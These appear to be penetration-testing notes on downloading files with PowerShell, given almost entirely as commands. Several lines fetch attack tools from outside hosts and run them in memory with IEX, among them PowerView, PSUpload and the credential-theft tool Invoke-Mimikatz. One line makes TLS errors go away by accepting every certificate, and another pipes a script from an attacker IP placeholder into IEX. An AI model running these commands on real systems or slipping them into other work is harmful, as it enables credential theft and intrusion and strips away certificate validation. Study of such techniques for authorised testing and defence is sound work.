#### PowerShell DownloadFile Method

**DownloadFile**

```powershell-session
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
```

**DownloadFileAsync**

```powershell-session
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
```

**DownloadString**

```powershell-session
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
```

* `IEX` also accepts pipeline input.

```powershell-session
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
```

**Potential Error**

```powershell-session
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
```

```powershell-session
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
```

**Solution**

```powershell-session
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

**PowerShell Invoke-WebRequest**

* From PowerShell 3.0 onwards, the [Invoke-WebRequest](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2) cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases `iwr`, `curl`, and `wget` instead of the `Invoke-WebRequest` full name.
* its like curl and wget for windows

```powershell-session
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
```

**Potential Error**

```powershell-session
Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX
```

```
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
```

**Solution**

```
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
```
